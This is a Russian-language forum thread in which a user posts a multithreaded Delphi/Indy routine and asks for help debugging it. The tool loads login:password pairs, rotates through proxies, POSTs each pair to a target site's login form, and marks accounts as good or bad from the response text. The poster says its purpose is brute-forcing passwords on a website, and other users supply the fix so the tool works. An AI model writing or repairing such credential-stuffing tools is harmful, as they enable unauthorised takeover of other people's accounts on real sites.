Проблемы с потоком

[HELMOS]

if Work then
    begin

     HTTP:=TIdHTTP.create(nil); //Создаём HTTP
     HTTP.HandleRedirects:=true; //Запрещаем редирект

     if Proxy.Text = '' then sleep(0) else //Если прокси не загружены, то ничего не делаем
     begin
     IP:= Copy(Proxy[CurAcc],1,Pos(':',Proxy[CurAcc])-1); //Копируем прокси
     Port:= Copy(Proxy[CurAcc],Pos(':',Proxy[CurAcc])+1,Length(Proxy[CurAcc])); //Копируем порт
     HTTP.ProxyParams.ProxyServer:=IP; //Вставляем прокси
     HTTP.ProxyParams.ProxyPort:=strtoint(Port); //Вставляем порт
     HTTP.ReadTimeout:=StrToInt(Form1.SpinEdit2.Text)*1000;
     HTTP.ConnectTimeout:=StrToInt(Form1.SpinEdit2.Text)*1000;

     end;


     if pos(':', Accounts[CurAcc])<>0 then begin
     FAcc:=Copy(Accounts[CurAcc], 1, Pos(':',Accounts[CurAcc])-1); //Копируем логин
      FPas:=Copy(Accounts[CurAcc], Pos(':', Accounts[CurAcc])+1, Length(Accounts[CurAcc])); //Копируем пароль

     end else begin //иначе
      FAcc:=Copy(Accounts[CurAcc], 1, Pos(';',Accounts[CurAcc])-1);
      FPas:=Copy(Accounts[CurAcc], Pos(';', Accounts[CurAcc])+1, Length(Accounts[CurAcc]));
    end;


data:=Tstringlist.create;
     data.Add('username='+FAcc);
     data.Add('password='+FPas);

   try
      HTTP.Post('ссылочка для брута', data);
      begin
       if Pos('Invalid Email or Password', PageData)>0 then
      Rez:=-1; //// БЭД

      end;

     except

     begin

       Rez:=0 ////Error


       end;
     end;

      end
      else
       begin
       Rez:=1; //Гуд

Софт должен подбирать пароли к сайту, то есть он заходит на сайт, отправляя Постом пасс и логин, после он должен искать на странице текст "Invalid Email or Password", разумеется если он находит данный текст, кидает аккаунт в БЭД (-1), если же нет такой строчки - ГУД (1), прочее ERROR (0). Проверьте пожалуйста правильность кода, т.к он стоит на месте и ничего не брутит

[Delphi_ProGer]

 HTTP.HandleRedirects:=true; //Запрещаем редирект

всё наоборот)
Что-то мне не нравиться эта строка

if Proxy.Text = '' then sleep(0)

мне кажеться, через это поток и стоит

[HELMOS]

Сообщение от Delphi_ProGer

 HTTP.HandleRedirects:=true; //Запрещаем редирект

всё наоборот)
Что-то мне не нравиться эта строка

if Proxy.Text = '' then sleep(0)

мне кажеться, через это поток и стоит

Хмм.. Нет. Все так же стоит! Блин, в чем проблема то?

[Delphi_ProGer]

Хмм.. Нет. Все так же стоит! Блин, в чем проблема то?

а я ничего в коде и не менял)))

 HTTP.Post('ссылочка для брута', data);
      begin
       if Pos('Invalid Email or Password', PageData)>0 then

Где там рписваиваеться PageData ответ от сервера??

PageData:=HTTP.Post('ссылочка для брута', data);
      begin
       if Pos('Invalid Email or Password', PageData)>0 then

[HELMOS]

Сообщение от Delphi_ProGer

а я ничего в коде и не менял)))

 HTTP.Post('ссылочка для брута', data);
      begin
       if Pos('Invalid Email or Password', PageData)>0 then

Где там рписваиваеться PageData ответ от сервера??

PageData:=HTTP.Post('ссылочка для брута', data);
      begin
       if Pos('Invalid Email or Password', PageData)>0 then

Содержимое страницы

[Delphi_ProGer]

^ что именно вы хотели этим сказать?

[HELMOS]

PageData:string; - то есть хранит содержимое страницы!

[Delphi_ProGer]

Сообщение от HELMOS

PageData:string; - то есть хранит содержимое страницы!

Да это я понял, но ведь нигде в коде у вас не видно, где вы присваиваете этой переменной ответ от сервера(Post запрос). В последствии, вы ищете фразу 'Invalid Email or Password' в пустой строке.

[HELMOS]

Вот он, поток:

procedure TNewThread.Execute;
var CurAcc:integer;
    data:Tstringlist;
    HTTP: TIdHTTP;
    PageData:string; //Переменная где будет хранится код страницы
    i:integer;
begin
 while Work do
  begin
   CS.Enter;
   Inc(Acc);
   if Acc<Accounts.Count then CurAcc:=Acc else Work:=false;
   CS.Leave;

   if Work then
    begin

     HTTP:=TIdHTTP.create(nil); //Создаём HTTP
     HTTP.HandleRedirects:=false; //Запрещаем редирект

     if Proxy.Text = '' then sleep(0) else //Если прокси не загружены, то ничего не делаем
     begin
     IP:= Copy(Proxy[CurAcc],1,Pos(':',Proxy[CurAcc])-1); //Копируем прокси
     Port:= Copy(Proxy[CurAcc],Pos(':',Proxy[CurAcc])+1,Length(Proxy[CurAcc])); //Копируем порт
     HTTP.ProxyParams.ProxyServer:=IP; //Вставляем прокси
     HTTP.ProxyParams.ProxyPort:=strtoint(Port); //Вставляем порт
     HTTP.ReadTimeout:=StrToInt(Form1.SpinEdit2.Text)*1000;
     HTTP.ConnectTimeout:=StrToInt(Form1.SpinEdit2.Text)*1000;

     end;


     if pos(':', Accounts[CurAcc])<>0 then begin
     FAcc:=Copy(Accounts[CurAcc], 1, Pos(':',Accounts[CurAcc])-1); //Копируем логин
      FPas:=Copy(Accounts[CurAcc], Pos(':', Accounts[CurAcc])+1, Length(Accounts[CurAcc])); //Копируем пароль

     end else begin //иначе
      FAcc:=Copy(Accounts[CurAcc], 1, Pos(';',Accounts[CurAcc])-1);
      FPas:=Copy(Accounts[CurAcc], Pos(';', Accounts[CurAcc])+1, Length(Accounts[CurAcc]));
    end;

     data:=Tstringlist.create;
     data.Add('username='+FAcc);
     data.Add('password='+FPas);

   try
      HTTP.Post('Та самая ссылка :D', data);
       if Pos('Invalid Email or Password', PageData)>0 then
      Rez:=-1; ///БЭД

     except

     begin

     end;
     end;

       Rez:=0 //ERROR

      end
      else
       begin
       Rez:=1; //ГУД

Все "пометил", думаю теперь вам понятно.

[bakanaev]

 PageData:=HTTP.Post('Та самая ссылка :D', data);
       if Pos('Invalid Email or Password', PageData)>0 then